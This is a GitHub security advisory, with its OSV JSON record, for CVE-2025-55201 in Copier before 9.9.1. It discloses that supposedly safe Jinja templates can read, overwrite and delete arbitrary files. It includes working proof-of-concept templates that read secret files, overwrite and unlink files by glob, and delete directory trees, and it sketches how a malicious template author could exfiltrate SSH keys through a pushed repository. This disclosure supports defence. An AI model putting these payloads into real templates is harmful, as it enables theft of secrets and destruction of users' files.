GHSA-3XW7-V6CJ-5Q8H
Vulnerability from github – Published: 2025-08-18 21:00 – Updated: 2025-08-18 21:00Impact
Copier's current security model shall restrict filesystem access through Jinja:
- Files can only be read using
{% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case. - Files are written in the destination directory according to their counterparts in the template.
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.
Arbitrary read access
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
-
Read known file:
shell echo "s3cr3t" > secret.txt mkdir src/ echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja uvx copier copy src/ dst/ cat dst/stolen-secret.txt -
Read unknown file(s) via globbing:
shell mkdir secrets/ echo "s3cr3t #1" > secrets/secret1.txt echo "s3cr3t #2" > secrets/secret2.txt mkdir src/ cat <<'EOF' > src/stolen-secrets.txt.jinja stolen secrets: {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %} {% for f in parent.glob('*.txt') %} {{ f }}: {{ f.read_text('utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat dst/stolen-secrets.txt
Arbitrary write access
Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.
Reproducible examples:
-
Overwrite known file:
shell echo "s3cr3t" > secret.txt mkdir src/ echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja uvx copier copy src/ dst/ cat secret.txt -
Overwrite unknown file(s) via globbing:
shell echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.write_text('OVERWRITTEN', 'utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt -
Delete unknown file(s) via globbing:
shell echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.unlink() }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt -
Delete unknown files and directories via tree walking:
shell mkdir data mkdir data/a mkdir data/a/b echo "foo" > data/foo.txt echo "bar" > data/a/bar.txt echo "baz" > data/a/b/baz.txt tree data/ mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %} {% for root, dirs, files in parent.walk(top_down=False) %} {% for name in files %} {{ (root / name).unlink() }} {% endfor %} {% for name in dirs %} {{ (root / name).rmdir() }} {% endfor %} {% endfor %} EOF uvx copier copy src/ dst/ tree data/
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "copier"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55201"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-18T21:00:23Z",
"nvd_published_at": "2025-08-18T17:15:29Z",
"severity": "HIGH"
},
"details": "### Impact\n\nCopier\u0027s current security model shall restrict filesystem access through Jinja:\n\n- Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case.\n- Files are written in the destination directory according to their counterparts in the template.\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.\n\n#### Arbitrary read access\n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps \"masks\" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Read known file:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n echo \"stolen secret: {{ (_copier_conf.dst_path / \u0027..\u0027 / \u0027secret.txt\u0027).resolve().read_text(\u0027utf-8\u0027) }}\" \u003e src/stolen-secret.txt.jinja\n uvx copier copy src/ dst/\n cat dst/stolen-secret.txt\n ```\n\n- Read unknown file(s) via globbing:\n\n ```shell\n mkdir secrets/\n echo \"s3cr3t #1\" \u003e secrets/secret1.txt\n echo \"s3cr3t #2\" \u003e secrets/secret2.txt\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/stolen-secrets.txt.jinja\n stolen secrets:\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027 / \u0027secrets\u0027).resolve() %}\n {% for f in parent.glob(\u0027*.txt\u0027) %}\n {{ f }}: {{ f.read_text(\u0027utf-8\u0027) }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat dst/stolen-secrets.txt\n ```\n\n#### Arbitrary write access\n\nImagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.\n\nReproducible examples:\n\n- Overwrite known file:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n echo \"{{ (_copier_conf.dst_path / \u0027..\u0027 / \u0027secret.txt\u0027).resolve().write_text(\u0027OVERWRITTEN\u0027, \u0027utf-8\u0027) }}\" \u003e src/malicious.txt.jinja\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Overwrite unknown file(s) via globbing:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027).resolve() %}\n {% for f in (parent.glob(\u0027*.txt\u0027) | list) %}\n {{ f.write_text(\u0027OVERWRITTEN\u0027, \u0027utf-8\u0027) }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Delete unknown file(s) via globbing:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027).resolve() %}\n {% for f in (parent.glob(\u0027*.txt\u0027) | list) %}\n {{ f.unlink() }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Delete unknown files and directories via tree walking:\n\n ```shell\n mkdir data\n mkdir data/a\n mkdir data/a/b\n echo \"foo\" \u003e data/foo.txt\n echo \"bar\" \u003e data/a/bar.txt\n echo \"baz\" \u003e data/a/b/baz.txt\n tree data/\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027 / \u0027data\u0027).resolve() %}\n {% for root, dirs, files in parent.walk(top_down=False) %}\n {% for name in files %}\n {{ (root / name).unlink() }}\n {% endfor %}\n {% for name in dirs %}\n {{ (root / name).rmdir() }}\n {% endfor %}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n tree data/\n ```",
"id": "GHSA-3xw7-v6cj-5q8h",
"modified": "2025-08-18T21:00:23Z",
"published": "2025-08-18T21:00:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/security/advisories/GHSA-3xw7-v6cj-5q8h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55201"
},
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/commit/3feea3b3ff3c20d80cbb16a2f3b9567ffc5606d1"
},
{
"type": "PACKAGE",
"url": "https://github.com/copier-org/copier"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Copier\u0027s safe template has arbitrary filesystem read/write access"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
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